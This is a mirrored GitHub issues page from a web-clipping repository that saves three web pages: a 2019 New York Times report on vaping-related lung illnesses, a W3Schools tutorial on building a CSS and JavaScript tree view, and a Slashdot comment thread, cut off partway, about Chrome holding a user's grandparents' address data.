GithubHelp home page GithubHelp logo

web-clip's Introduction

$ tg-z pronouns

connect with me:

twitter           are.na           github           dev.to


Statistics

Language Stats

Wakatime Stats

made with ❤️ by serafina

web-clip's People

Contributors

tg-z avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

web-clip's Issues

Cases of Vaping-Related Lung Illness Surge, Health Officials Say - The New York Times

Cases of Vaping-Related Lung Illness Surge, Health Officials Say - The New York Times set Restriction

Sections

SEARCH

Skip to contentSkip to site index

Health

Account

Sunday, September 8, 2019

Today’s Paper

Health|Cases of Vaping-Related Lung Illness Surge, Health Officials Say

  • 779

Advertisement

Supported by

Cases of Vaping-Related Lung Illness Surge, Health Officials SayCases of Vaping-Related Lung Illness Surge, Health Officials Say

Indiana announced a third death linked to the illness on Friday, Minnesota a fourth and California a fifth. State and federal health officials are working urgently to understand the causes.

Image

Scans of the lungs of four patients, aged 19 to 49, showing damage to the lungs from vaping devices.CreditCreditNew England Journal of Medicine

By Matt Richtel and Denise Grady

  • Sept. 6, 2019

    • 779

Medical experts and federal health officials on Friday warned the public about the dangers of vaping and discouraged using the devices as the number of people with a severe lung illness linked to vaping more than doubled to 450 possible cases in 33 states and the number of deaths rose to five.

The Indiana Department of Health announced the third death on Friday, and hours later, officials in Minnesota confirmed that a fourth person had died. The Los Angeles County Department of Public Health is investigating a fifth death, and an official said Friday that “vaping is a probable potential cause.” Two other deaths, one in Illinois, the other in Oregon, had been announced previously.

“There is clearly an epidemic that begs for an urgent response,” Dr. David C. Christiani of the Harvard T.H. Chan School of Public Health wrote in an editorial published on Friday in The New England Journal of Medicine.

The editorial called on doctors to discourage their patients from using e-cigarettes and for a broader effort to increase public awareness about “the harmful effects of vaping.”

Sign Up for NYT Parenting

From the team at NYT Parenting: Get the latest news and guidance for parents. We'll celebrate the little parenting moments that mean a lot — and share stories that matter to families.

Sign Up

* Captcha is incomplete. Please try again.

Thank you for subscribing

You can also view our other newsletters or visit your account to opt out or manage email preferences.

An error has occurred. Please try again later.

You are already subscribed to this email.

View all New York Times newsletters.

Officials from the Centers for Disease Control and Prevention echoed that call in a briefing.

“While this investigation is ongoing, people should consider not using e-cigarette products,” said Dr. Dana Meaney-Delman, who is leading the C.D.C.’s investigation into the illness.

[Read our story about the rise of this mysterious vaping-related illness that is spreading across the nation.]

The recent rise of acute lung illnesses linked to vaping has deepened concerns about the safety of the devices. E-cigarettes were intended to help smokers quit traditional cigarettes​ by providing a way ​to satisfy an addiction to nicotine​ without the deadly toxins that come from burning tobacco​.

But in 2018, vaping among American teenagers exploded and large numbers of young people who had never smoked started using e-cigarettes. They were especially attracted to sleek devices made and marketed by Juul Labs, which now dominates the market. A 2018 survey sponsored by the federal government found that 21 percent of high school seniors had vaped within the previous 30 days, compared to 11 percent a year earlier.

Now young people are being sickened by the new wave of lung illnesses. C.D.C. officials said they believe that some “chemical” is involved as the cause but they have not identified a single responsible “device, product or substance,” Dr. Meaney-Delman said.

Dr. Christiani wrote in The New England Journal editorial that it was not yet clear which substances were causing the damage. E-cigarette fluids alone contain “at least six groups of potentially toxic compounds,” he wrote, but he noted that many of the patients had also vaped substances extracted from marijuana or hemp. The mixed-up stew of chemicals might even create new toxins, Dr. Christiani suggested. The journal also published a study of two clusters of 53 cases in Wisconsin and Illinois.

What looked like scattered cases earlier this summer has become a full-fledged and widespread public health scare, leaving otherwise healthy teenagers and young adults severely ill.

The first case of the mysterious lung illness, in Illinois, came in April, indicating that the syndrome emerged earlier than the mid-June date that federal officials have often cited as the time the afflictions began.

The patients studied in Illinois and Wisconsin were typically “healthy, young, with a median age of 19 years and a majority have been men,” said Dr. Jennifer Layden, chief medical officer and state epidemiologist for the Illinois Department of Public Health. A third were younger than 18.

The journal article about the Illinois and Wisconsin patients said that 98 percent were hospitalized, half required admission to the intensive care unit, and a third had so much trouble breathing that they needed to be placed on ventilators.

Eighty-four percent had vaped a product including T.H.C., the high-inducing chemical in marijuana. Dr. Layden said a majority had also used a “nicotine-based product,” noting that there were “a range of products and devices.”

The journal article about those cases mentions that the heating coils in vaping devices might release metal particles that could be inhaled.

“The focus of our investigation is narrowing but is still faced with complex questions,” said Ileana Arias, the C.D.C.’s acting deputy director for noninfectious diseases. She added, “We are working tirelessly and relentlessly.”

Mitch Zeller, the director of the Center for Tobacco Products at the Food and Drug Administration, said particular concern is developing around products that are jury-rigged by vaping retailers, or tampered with or mixed by consumers themselves. “Think twice,” he said, urging consumers to avoid vaping products purchased on the street or that they have made themselves.

[Read our story about the explosive growth of teenagers addicted to vaping, with no easy way to quit.]

Public health officials have underscored one fundamental point: that the surge in illnesses is a new phenomenon and not merely a recognition of a syndrome that may have been developing for years.

Indiana on Friday confirmed a third death from a severe lung illness linked to vaping shortly before officials in Minnesota confirmed a fourth. The patient, who was 65, had a history of lung disease, but state officials said his acute lung injury was linked to “vaping illicit T.H.C. products.”

Health officials in Los Angeles County, Calif., said Friday that they had been investigating a dozen reports of lung illnesses linked to vaping, including one death, since Aug. 14. The patient who died was “an older adult with chronic underlying health conditions,” though “it is clearly believed that vaping is a probable potential cause,” Dr. Muntu Davis, a health officer with the Los Angeles County Department of Public Health, said at a news conference.

Most of the cases involved teens and young adults, but a third were middle-aged and older adults, Dr. Davis said. Of the 12 patients, 11 were known to have vaped T.H.C. products, he said.

“If you don’t have to vape don’t do it right now,” Dr. Davis said. “It’s wise to stay away from this until we understand what the implications are.”

Two other people — one in Illinois, the other in Oregon, both of whom were adults — have died from what appears to be the same type of illness, health officials in those states have said.

Patients afflicted with the illness typically have showed up in emergency rooms with shortness of breath after several days of flulike symptoms, including high fever.

In an especially severe case in Utah, a 21-year-old man had such serious lung damage that even a ventilator could not provide enough breathing help. Doctors had to connect him to a machine that pumped oxygen directly into his bloodstream to keep him alive.

Image

An image released by the New York State health department showing products that have been found to contain vitamin E acetate.CreditMike Wren/New York State Department of Health

Fluid from his lungs contained white blood cells full of fat, not from the substances he had vaped, but more likely a sort of debris from the breakdown of his lung tissue.

“We were flying in the dark with this kid,” said Dr. Sean J. Callahan, a pulmonologist and critical care specialist at the University of Utah, and an author of a letter about six vaping patients in Utah that was published Friday in The New England Journal of Medicine.

“I thought he was going to die,” Dr. Callahan said. “I kept thinking, his parents were there, if this were me and my wife, how crushed we would be for something that is completely avoidable. I worry that these products are really geared toward young people and kids, and we need a call to ban these things. That’s my call to action as a father and a doctor.”

The patient survived, and went home after two weeks in the hospital.

It is too soon to tell whether people with vaping injuries will recover fully, or sustain lasting lung damage, Dr. Callahan said.

He added that doctors need to take better histories of young patients who come in with pneumonialike symptoms to try to find the real cause. Some patients and their families are forthcoming about vaping, but others are not. In one case, he said, medical residents were puzzled by what could have caused the illness. He asked the patient’s mother to leave the room and then, instead of asking if the patient vaped, he simply asked, “What do you vape?” The answer was T.H.C.

The state of New York, where 34 people have become ill, said on Thursday that vaping samples from eight of its cases showed high levels of a compound called vitamin E acetate. Investigators there are focusing on the possibility that the oily substance might be playing a key role in the illness.

However, some of the more than 100 vaping samples being examined by the federal government did not test positive for vitamin E acetate, so that compound remains only one of many possible causes of the heavy lung inflammation.

Correction: Sept. 6, 2019

An earlier version of this article misidentified the affiliation of Mitch Zeller. He works for the Food and Drug Administration, not the Centers for Disease Control and Prevention.

Matt Richtel is a best-selling author and Pulitzer Prize-winning reporter based in San Francisco. He joined The Times staff in 2000, and his work has focused on science, technology, business and narrative-driven storytelling around these issues.

  @mrichtel

Denise Grady has been a science reporter for The Times since 1998. She wrote “Deadly Invaders,” a book about emerging viruses. @nytDeniseGrady

A version of this article appears in print on Sept. 6, 2019, Section A, Page 1 of the New York edition with the headline: Illness Prompts Warning to Stop E-Cigarette Use. Order Reprints | Today’s Paper | Subscribe

Read 779 Comments

Advertisement

Comments 779

Cases of Vaping-Related Lung Illness Surge, Health Officials SaySkip to Comments

The comments section is closed. To submit a letter to the editor for publication, write to [email protected].

Site Index

Go to Home Page »

news

opinion

arts

living

listings & more

news

opinion

arts

living

more

Subscribe

Site Information Navigation

Add Tags ?

AddDeleteNo

close

close

How To Create a Tree View

How To Create a Tree View set Restriction

w3schools.com

THE WORLD'S LARGEST WEB DEVELOPER SITE

|

| |

×

|

| search |

|

Custom Search


Select Language

HTML CSS JAVASCRIPT SQL PYTHON PHP BOOTSTRAP HOW TO W3.CSS JQUERY XML MORE   FORUM EXERCISES REFERENCES

×

HTML and CSS

Learn HTML Learn CSS Learn Bootstrap Learn W3.CSS Learn Colors Learn Icons Learn Graphics Learn SVG Learn Canvas Learn How To Learn Sass

XML

Learn XML Learn XML AJAX Learn XML DOM Learn XML DTD Learn XML Schema Learn XSLT Learn XPath Learn XQuery

JavaScript

Learn JavaScript Learn jQuery Learn React Learn AngularJS Learn JSON Learn AJAX Learn W3.JS

Programming

Learn Python Learn Java Learn C++

Server Side

Learn SQL Learn PHP Learn ASP Learn Node.js Learn Raspberry Pi

Web Building

Web Templates Web Statistics Web Certificates Web Editor Web Development

XML

Learn XML Learn XML AJAX Learn XML DOM Learn XML DTD Learn XML Schema Learn XSLT Learn XPath Learn XQuery

×

HTML

HTML Tag Reference HTML Event Reference HTML Color Reference HTML Attribute Reference HTML Canvas Reference HTML SVG Reference HTML Character Sets Google Maps Reference

CSS

CSS Reference CSS Browser Support CSS Selector Reference Bootstrap 3 Reference Bootstrap 4 Reference W3.CSS Reference Icon Reference Sass Reference

JavaScript

JavaScript Reference HTML DOM Reference jQuery Reference AngularJS Reference W3.JS Reference

Programming

Python Reference Java Reference

Server Side

SQL Reference PHP Reference ASP Reference

XML

XML Reference XML Http Reference XSLT Reference XML Schema Reference

Character Sets

HTML Character Sets HTML ASCII HTML ANSI HTML Windows-1252 HTML ISO-8859-1 HTML Symbols HTML UTF-8

×

Exercises

HTML Exercises CSS Exercises JavaScript Exercises SQL Exercises PHP Exercises Python Exercises jQuery Exercises Bootstrap Exercises Java Exercises C++ Exercises

Quizzes

HTML Quiz CSS Quiz JavaScript Quiz SQL Quiz PHP Quiz Python Quiz jQuery Quiz Bootstrap Quiz XML Quiz

Certificates

HTML Certificate CSS Certificate JavaScript Certificate SQL Certificate PHP Certificate Python Certificate jQuery Certificate Bootstrap Certificate XML Certificate

HOW TO

HowTo Home

Menus

Icon Bar Menu Icon Accordion Tabs Vertical Tabs Tab Headers Full Page Tabs Hover Tabs Top Navigation Responsive Topnav Navbar with Icons Search Menu Search Bar Fixed Sidebar Side Navigation Responsive Sidebar Fullscreen Navigation Off-Canvas Menu Hover Sidenav Buttons Sidebar with Icons Horizontal Scroll Menu Vertical Menu Bottom Navigation Responsive Bottom Nav Bottom Border Nav Links Right Aligned Menu Links Centered Menu Link Equal Width Menu Links Fixed Menu Slide Down Bar on Scroll Hide Navbar on Scroll Shrink Navbar on Scroll Sticky Navbar Navbar on Image Hover Dropdowns Click Dropdowns Dropdown in Topnav Dropdown in Sidenav Resp Navbar Dropdown Subnavigation Menu Dropup Mega Menu Mobile Menu Curtain Menu Collapsed Sidebar Collapsed Sidepanel Pagination Breadcrumbs Button Group Vertical Button Group Sticky Social Bar Pill Navigation Responsive Header

Images

Slideshow Slideshow Gallery Modal Images Lightbox Responsive Image Grid Image Grid Tab Gallery Image Overlay Fade Image Overlay Slide Image Overlay Zoom Image Overlay Title Image Overlay Icon Image Effects Black and White Image Image Text Image Text Blocks Transparent Image Text Full Page Image Form on Image Hero Image Blur Background Image Change Bg on Scroll Side-by-Side Images Rounded Images Avatar Images Responsive Images Center Images Thumbnails Meet the Team Sticky Image Flip an Image Shake an Image Portfolio Gallery Portfolio with Filtering Image Zoom Image Magnifier Glass Image Comparison Slider

Buttons

Alert Buttons Outline Buttons Split Buttons Animated Buttons Fading Buttons Button on Image Social Media Buttons Read More Read Less Loading Buttons Download Buttons Pill Buttons Notification Button Icon Buttons Next/prev Buttons More Button in Nav Block Buttons Text Buttons Round Buttons Scroll To Top Button

Forms

Login Form Signup Form Checkout Form Contact Form Social Login Form Register Form Form with Icons Newsletter Stacked Form Responsive Form Popup Form Inline Form Clear Input Field Copy Text to Clipboard Animated Search Search Button Fullscreen Search Input Field in Navbar Login Form in Navbar Custom Checkbox/Radio Custom Select Toggle Switch Check Checkbox Detect Caps Lock Trigger Button on Enter Password Validation Toggle Password Visibility Multiple Step Form Autocomplete

Filters

Filter List Filter Table Filter Elements Filter Dropdown Sort List Sort Table

Tables

Zebra Striped Table Responsive Tables Comparison Table

More

Fullscreen Video Modal Boxes Timeline Scroll Indicator Progress Bars Skill Bar Range Sliders Tooltips Popups Collapsible Calendar HTML Includes To Do List Loaders Star Rating User Rating Overlay Effect Contact Chips Cards Flip Card Profile Card Product Card Alerts Callout Notes Labels Circles Style HR Coupon List Group Responsive Text Cutout Text Glowing Text Fixed Footer Sticky Element Equal Height Clearfix Responsive Floats Snackbar Fullscreen Window Scroll Drawing Smooth Scroll Gradient Bg Scroll Sticky Header Shrink Header on Scroll Pricing Table Parallax Aspect Ratio Toggle Like/Dislike Toggle Hide/Show Toggle Text Toggle Class Add Class Remove Class Active Class Tree View Remove Property Offline Detection Find Hidden Element Redirect Webpage Zoom Hover Flip Box Center Vertically Transition on Hover Arrows Shapes Download Link Full Height Element Browser Window Custom Scrollbar Device Look Placeholder Color Text Selection Color Bullet Color Vertical Line Animate Icons Countdown Timer Typewriter Coming Soon Page Chat Messages Popup Chat Window Split Screen Testimonials Section Counter Quotes Slideshow Closable List Items Typical Device Breakpoints Draggable HTML Element JS Media Queries Syntax Highlighter JS Animations Get Iframe Elements

Website

Make a Website Make a Website (W3.CSS) Make a Website (BS3) Make a Website (BS4) Center Website Contact Section Big Header Example Website

Grid

2 Column Layout 3 Column Layout 4 Column Layout Expanding Grid List Grid View Mixed Column Layout Column Cards Zig Zag Layout Blog Layout

Google

Google Charts Google Fonts

Converters

Convert Weight Convert Temperature Convert Length Convert Speed

Python

Remove List Duplicates Reverse a String

How TO - Tree View

❮ Previous Next ❯


Learn how to create a tree view with CSS and JavaScript.


Tree View

A tree view represents a hierarchical view of information, where each item can have a number of subitems.

Click on the arrow(s) to open or close the tree branches.

  • Beverages
    • Water
    • Coffee
    • Tea
      • Black Tea
      • White Tea
      • Green Tea
        • Sencha
        • Gyokuro
        • Matcha
        • Pi Lo Chun

Try it Yourself »


Tree View

Step 1) Add HTML:

Example

     
  • Beverages    
           
    • Water
    •      
    • Coffee
    •      
    • Tea        
                 
      • Black Tea
      •          
      • White Tea
      •          
      • Green Tea            
                       
        • Sencha
        •              
        • Gyokuro
        •              
        • Matcha
        •              
        • Pi Lo Chun
        •            
                 
      •        
           
    •    
     

Step 2) Add CSS:

Example

/* Remove default bullets */
ul, #myUL {
  list-style-type: none;
}

/* Remove margins and padding from the parent ul */
#myUL {
  margin: 0;
  padding: 0;
}

/* Style the caret/arrow */
.caret {
  cursor: pointer;
  user-select: none; /* Prevent text selection */
}

/* Create the caret/arrow with a unicode, and style it */
.caret::before {
  content: "\25B6";
  color: black;
  display: inline-block;
  margin-right: 6px;
}

/* Rotate the caret/arrow icon when clicked on (using JavaScript) */
.caret-down::before {
  transform: rotate(90deg);
}

/* Hide the nested list */
.nested {
  display: none;
}

/* Show the nested list when the user clicks on the caret/arrow (with JavaScript) */
.active {
  display: block;
}



Step 3) Add JavaScript:

Example

var toggler = document.getElementsByClassName("caret");
var i;

for (i = 0; i < toggler.length; i++) {
  toggler[i].addEventListener("click", function() {
    this.parentElement.querySelector(".nested").classList.toggle("active");
    this.classList.toggle("caret-down");
  });
}

Try it Yourself »


Checkbox Tree View

In this example, we use a "ballot box" unicode instead of a caret:

Example

Try it Yourself »

❮ Previous Next ❯

COLOR PICKER


HOW TO

Tabs
Dropdowns
Accordions
Side Navigation
Top Navigation
Modal Boxes
Progress Bars
Parallax
Login Form
HTML Includes
Google Maps
Range Sliders
Tooltips
Slideshow
Filter List
Sort List

SHARE

[](https://twitter.com/home?status=Currently reading https://www.w3schools.com/howto/howto_js_treeview.asp "Twitter")

CERTIFICATES

HTML
CSS
JavaScript
SQL
Python
PHP
jQuery
Bootstrap
XML

Read More »



REPORT ERROR

PRINT PAGE

FORUM

ABOUT


×

Your Suggestion:

Your E-mail:

Page address:

Description:

Submit

×

Thank You For Helping Us!

Your message has been sent to W3Schools.

Top Tutorials

HTML Tutorial
CSS Tutorial
JavaScript Tutorial
How To Tutorial
SQL Tutorial
Python Tutorial
W3.CSS Tutorial
Bootstrap Tutorial
PHP Tutorial
jQuery Tutorial
Java Tutorial

Top References

HTML Reference
CSS Reference
JavaScript Reference
SQL Reference
Python Reference
W3.CSS Reference
Bootstrap Reference
PHP Reference
HTML Colors
jQuery Reference
Angular Reference
Java Reference

Top Examples

HTML Examples
CSS Examples
JavaScript Examples
How To Examples
SQL Examples
Python Examples
W3.CSS Examples
Bootstrap Examples
PHP Examples
jQuery Examples
Java Examples
XML Examples

Web Certificates

HTML Certificate
CSS Certificate
JavaScript Certificate
SQL Certificate
Python Certificate
jQuery Certificate
PHP Certificate
Bootstrap Certificate
XML Certificate
Get Certified »


W3Schools is optimized for learning, testing, and training. Examples might be simplified to improve reading and basic understanding. Tutorials, references, and examples are constantly reviewed to avoid errors, but we cannot warrant full correctness of all content. While using this site, you agree to have read and accepted our terms of use, cookie and privacy policy. Copyright 1999-2019 by Refsnes Data. All Rights Reserved.
Powered by W3.CSS.


Add Tags ?

AddDeleteNo

close

close

Original text

Contribute a better translation


'Google's Chrome Has My Dead Grandpa's Data and He Never Used the Internet' - Slashdot

 'Google's Chrome Has My Dead Grandpa's Data and He Never Used the Internet' - Slashdot                            set Restriction 



Slashdot

Submit

Search Slashdot

Follow Slashdot stories on Twitter

Nickname:

Password:

Public Terminal


Forgot your password?

Sign in with

  • Google
  • Facebook
  • Twitter
  • LinkedIn

Close

binspamdupenotthebestofftopicslownewsdaystalestupid

freshfunnyinsightfulinterestingmaybe

offtopicflamebaittrollredundantoverrated

insightfulinterestinginformativefunnyunderrated

descriptive

typodupeerror

Check out Slashdot on LinkedIn & Minds! | Migrate from GitHub to SourceForge quickly and easily with this tool. Check out all of SourceForge’s improvements.

×

115237354 story



'Google's Chrome Has My Dead Grandpa's Data and He Never Used the Internet' (forbes.com) 164

Posted by EditorDavid on Sunday September 08, 2019 @12:34AM from the I'll-be-seeing-you dept.

schwit1 shares a Forbes article by Joe Toscano, a former experience design consultant for Google who in 2017 "decided to step away from my role consulting with Google, due to ethical concerns."

This summer he got a big surprise when he looked in Chrome's "addresses" panel at chrome://settings/addresses _It turns out Google has info connecting me to my grandma (on my dad's side) who's alive and well but has never had the internet, and my grandpa (on my mom's side), who recently passed away in March 2019 and also never had the internet. This was disturbing for several reasons, the biggest of which being that neither of them had ever logged onto the internet in their lives. Neither even had the internet in their homes their entire lives! Beyond that, Google knew their exact addresses and their middle initials. I couldn't even have told you those things about my grandparents...

[T]he data wasn't manually entered by me or anyone using my account, but yet the data is associated with my account? How did that happen? The only thing I can think of is that at one point in history my grandpa gave his information to someone or some company in real life and his information was sold to Google at one point or another... But then that led me to another question: How did his data get associated with my Google account...?

Other questions I have: What other information does Google have about me/my family/others that I don't know about...?_
He's now asking readers if they have any idea how Google connected him to his dead grandpa -- and whether Google is somehow creating an ancestry database.

Toscano also discovered Chrome has been creating a list of "Never Saved" passwords at chrome://settings/passwords?search=credentials even though "At no point did I tell Google to create and store a list of websites I had logged into that they didn't get access to but would like access to at some point in the future. Maybe in the Terms of Service/Privacy Policy I agreed to this, but who knows? Not the majority of us, and it's just creepy."

And in an update Toscano writes that he hopes the article will "provoke thought" about "why we willingly allow this to happen": Why is it okay that the internet is designed to be a surveillance machine? Why isn't it designed to be private by design? Is this how we want to carry on? Just because something is legal doesn't mean it's right. What would you like to see done? How would you like to see things changed?

0

Share



Share this with your friends!

From

To

Compose your message

Share

'Google's Chrome Has My Dead Grandpa's Data and He Never Used the Internet' https://yro.slashdot.org/story/19/09/07/168245/googles-chrome-has-my-dead-grandpas-data-and-he-never-used-the-internet

chrome google privacy

Related Links

MIT Media Lab Chief Joi Ito Resigns Following Ronan Farrow's New Yorker Expose

EFF Warns: 'Don't Play in Google's Privacy Sandbox'

Amazon's Ring May Also Be Working On Facial Recognition

Feds Forced Google To Reveal All Google Users Within 100 Feet of a Bank Robbery

Facebook Accused of 'Deliberately Vague' Announcement About Face Recognition

Submission: Google Has My Dead Grandpa's Data And He Never Used The Internet

Ask Slashdot: How Will The Internet Affect The Next Generation?

Sponsored Content ?

SolarWinds Bandwidth Analyzer Pack

Posted by Slashdot


Comprehensively designed network bandwidth analysis and performance monitoring with SolarWinds® Bandwidth Analyzer Pack (BAP).
Bandwidth Analyzer Pack (BAP) is designed to help you better understand your network, plan for various contingencies, and track down problems when they do occur. Bandwidth Analyzer Pack analyzes hop-by-hop performance on-premise, in hybrid networks, and in the cloud, and can help identify excessive bandwidth utilization or unexpected application traffic. Download a free trial for real-time bandwidth monitoring, alerting, and more.
Download Free Trial

ARRAY(0x55c69967d798)

'Google's Chrome Has My Dead Grandpa's Data and He Never Used the Internet' 64 More | Reply Login

'Google's Chrome Has My Dead Grandpa's Data and He Never Used the Internet'

Post Load All Comments

15 Full 85 Abbreviated 0 Hidden

/Sea

Score:

5

4

3

2

1

0

-1

64 More | Reply Login

Nickname:

Password:

Public Terminal


Forgot your password?

Close

Close

Search 164 Comments Log In/Create an Account

Comments Filter:

  • All
  • Insightful
  • Informative
  • Interesting
  • Funny

The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.

  • So? (Score:4, Insightful)

    by backslashdot ( 95548 ) writes: on Sunday September 08, 2019 @12:37AM (#59170246)

    So what? Google has the right to tell us what they know from public sources. You know when I was growing up people weren't scared of other idiots knowing their name and address. It was all in the phone book. Own guns, cameras, and defend your home from thugs and gangsters. Fools.

    Reply to This Share

    twitter facebook linkedin

    Flag as Inappropriate

    • Re:So? (Score:4, Insightful)

      by passionplay ( 607862 ) writes: on Sunday September 08, 2019 @12:50AM (#59170268)

      Mod parent up. Phone books are public information. Public records get sucked in. If you want privacy, request a non-listed number. You can also do the same with a cell phone. The default is share all contact details. You can't cry over spilled milk.

      Reply to This Parent Share

      twitter facebook linkedin

      Flag as Inappropriate

      • Re:So? (Score:4, Interesting)

        by StikyPad ( 445176 ) writes: on Sunday September 08, 2019 @05:31AM (#59170588) Homepage

        I mean, there's a reasonable argument to be made that public disclosure and/or reselling of personal information should be "opt-in" rather than "opt-out," but otherwise, yes, public information sources can easily be used to piece together relationships, as anyone who's done a bit of genealogy can tell you.

        Reply to This Parent Share

        twitter facebook linkedin

        Flag as Inappropriate

      • Re:So? (Score:4, Informative)

        by AmiMoJo ( 196126 ) writes: on Sunday September 08, 2019 @09:38AM (#59170898) Homepage Journal

        In this case they almost certainly got it from someone typing it in. Someone had something sent to his house and entered the address, and Chrome saved it as it was configured to.

        Same with the saved passwords. Someone saved them. You can confirm for yourself that if you click "do not save" or disable saved passwords entirely it won't store them.

        This guy is a moron who can't operate his computer and blames Google for it.

        Reply to This Parent Share

        twitter facebook linkedin

        Flag as Inappropriate

        • Re: (Score:2)

          by denzacar ( 181829 ) writes:

          He typed in his grandparents' middle names, which he didn't know? How and what for?

          We know that Facebook creates shadow profiles for people's friend's and family who are not even on Facebook. Or alive.

          Why would anyone think that Google is not doing the same?
          Cause they've deleted Google+ (at least for the users) - and replaced it with Shoelace?
          Cause they can't somehow create a database and fill it with any and all personal information that they can scrub from ANYWHERE?
          Cause they used to have a motto about do

    • Re: So? (Score:2)

      by Justin Smith ( 4524095 ) writes:

      Cant forget about the Mormon genealogy data collection, I bet google has access to that as well

      • Re: (Score:2)

        by PolygamousRanchKid ( 1290638 ) writes:

        Cant forget about the Mormon genealogy data collection, I bet google has access to that as well

        Creepy story: I'm American but live in Germany with my German girlfriend. We only speak German with each other, so sometimes her English is a little shaky. There is an American military base nearby. I have an extremely rare last name.

        So some American stranger calls up when I was not at home, and told my girlfriend his name and that he was a cousin of mine, and asked my girlfriend if we were members of the of the church of the LDS.

        When I got home, she asked, "Do you have a cousin that takes LSD?"

        So I

      • Re: (Score:2)

        by CrimsonAvenger ( 580665 ) writes:

        Cant forget about the Mormon genealogy data collection, I bet google has access to that as well

        Probably. And it's not like there aren't other people doing family genealogy. I've got three relatives I know of (including my mother) who are busy running down genealogy links for the families in question. And it's not like things on public forums are secrets....

        • Re: (Score:3)

          by denzacar ( 181829 ) writes:

          And it's not like there aren't other people doing family genealogy.

          OH! It is NOT! Not even close. It's a very special kind of genealogy that Mormons do.

          https://en.wikipedia.org/wiki/... [wikipedia.org]

          "The LDS Church teaches that deceased persons who have not accepted, or had the opportunity to accept, the gospel of Christ in this life will have such opportunity in the afterlife.
          The belief is that as all must follow Jesus Christ, they must also receive all the ordinances that a living person is expected to receive, including baptism.
          For this reason, members of the LDS Church are encouraged to research their genealogy.
          This research is then used as the basis for church performing temple ordinances for as many deceased persons as possible.
          As a part of these efforts, Mormons have performed temple ordinances on behalf of a number of high-profile people, including the Founding Fathers of the United States,[47][48][49] U.S. Presidents,[47] Pope John Paul II,[50] John Wesley,[47] Christopher Columbus,[47] Adolf Hitler,[51] Joan of Arc,[51] Genghis Khan,[51] Joseph Stalin,[51] and Gautama Buddha.[51] ...

          In February 2012, the issue re-emerged after it was found that the parents of Holocaust survivor and Jewish rights advocate Simon Wiesenthal were added to the genealogical database.[74]
          Shortly afterward, news stories announced that Anne Frank had been baptized by proxy for the ninth time, at the Santo Domingo Dominican Republic Temple.[75]"

          https://en.wikipedia.org/wiki/... [wikipedia.org]

          "FamilySearch is a genealogy organization operated by The Church of Jesus Christ of Latter-day Saints (also known as the LDS Church). ...
          The resource is maintained to support the process of obtaining names and other genealogical information so that Latter-day Saints can perform temple ordinances for their kindred dead.[3] ...
          In February 2014, FamilySearch announced partnerships with Ancestry.com, findmypast and MyHeritage, which includes sharing massive amounts of their databases with those companies.

          They also have a standing relationship with BillionGraves, in which the photographed and indexed images of graves are both searchable on FamilySearch and are linked to individuals in the family tree.[6]"

          Mormons basically plan to gather, buy or steal everyone's DNA so as to jam anyone and everyone EVER into their cult, post facto.

    • Re:So? (Score:5, Insightful)

      by ArchieBunker ( 132337 ) writes: on Sunday September 08, 2019 @01:09AM (#59170310) Homepage

      Last I checked phone books didn't function as a family tree.

      Reply to This Parent Share

      twitter facebook linkedin

      Flag as Inappropriate

      • Re: (Score:2)

        by backslashdot ( 95548 ) writes:

        Why would they choose your family tree to go after? What are they going to do with knowing your family tree?

        • Re: (Score:3)

          by ArchieBunker ( 132337 ) writes:

          Do you have a clue why gmail and all these services from google are free? The information collected is valuable. Someone will pay for it.

          • Re: (Score:3)

            by deviated_prevert ( 1146403 ) writes:

            Do you have a clue why gmail and all these services from google are free? The information collected is valuable. Someone will pay for it.

            Ancestry DNA for instance? Or financial institutions doing deep credit checks, firms that need extreme security clearances. The NSA, well maybe not them because that might violate federal privacy laws. Though on the books privacy laws are being flaunted by corporations with the connections to do it like google and the government with ever increasing frequency. The public portion of the internet is Big Brother which like Dianetics was a brilliant concept by visionary people. We just refuse to believe that 19

        • Re:So? (Score:5, Interesting)

          by Daemonik ( 171801 ) writes: on Sunday September 08, 2019 @02:10AM (#59170390) Homepage

          Well, for one, that's how debt collectors start harassing your family members who aren't responsible for your debt, real or faked, so they'll put pressure onto you.

          Reply to This Parent Share

          twitter facebook linkedin

          Flag as Inappropriate

          • Re: (Score:2)

            by benjymouse ( 756774 ) writes:

            Well, for one, that's how debt collectors start harassing your family members who aren't responsible for your debt, real or faked, so they'll put pressure onto you.

            Seriously, can they do that in the US?

            • Re: (Score:2)

              by novakyu ( 636495 ) writes:

              Yeah, if they want to be sued under Fair Debt Collection Practices Act [wikipedia.org], they can.

              If you meant if they can do it legally, no. Hell no.

              • Re: (Score:2)

                by kenai_alpenglow ( 2709587 ) writes:

                Security Pacific Housing (Now part of Bank of America) sure did. They called my parents to put pressure on me for a non-performing loan. Trouble was: I had paid off the loan quite a while before. And the non-performing loan was not even in the same county much less on me or my property. Got it cleared up, but no apology. Lawyer said I could have got them kicked out of the state (unlikely, but a black mark against them).

        • Re: (Score:2)

          by dromgodis ( 4533247 ) writes:

          Hey you, buy X. If you don't buy X, we will make your daughter buy Y. And we will definitely make your grampa know that he should buy you 2X for your birthday.

        • Re: (Score:2)

          by benjymouse ( 756774 ) writes:

          Why would they choose your family tree to go after? What are they going to do with knowing your family tree?

          When your dad's birthday is coming up, you will be served ads that fits he's wishes for a birthday present. When your spouse is going on a overseas trip there may be some of your interests that needs a boost during that period. When

          There is a lot of creepy things ad pushers, telemarketers or activists can do with that type of personal information.

      • Re: (Score:3)

        by TigerPlish ( 174064 ) writes:

        Last I checked phone books didn't function as a family tree.

        Obviously, you've never been to Vancleave, Mississippi.

        The family tree, um, don't fork there.

      • GPS don't neither (Score:2)

        by DrYak ( 748999 ) writes:

        and GPS don't work as tree neither.

        Still that's probably the way Google found out the link.

        TFA's author mentions he doesn't even know the actual private address of his granddad (as a workaholic, it was simpler to call his company to reach him), but he cleary knows how to drive there to visit.

        That's the key point.

        It's a well documented fact that Google Play Services constantly ping the motherbase and thus can monitor all your movements. (e.g.: the /e/ foundation about page has references to such publicatio

        • Re: (Score:2)

          by itsme1234 ( 199680 ) writes:

          at some point they even had an interface to show "places I've been

          It'basic feature in Google Maps, they can even tell you when (each date if multiple times) you visited. Not only if you had maps open or the place as destination. It's opt-in, comes with location tracking. I actually like it very much and yes, I am aware about the consequences (and I wasn't born yesterday,
          heck my pgp key is 23 years old).

          • *NOT* opt-in (Score:2)

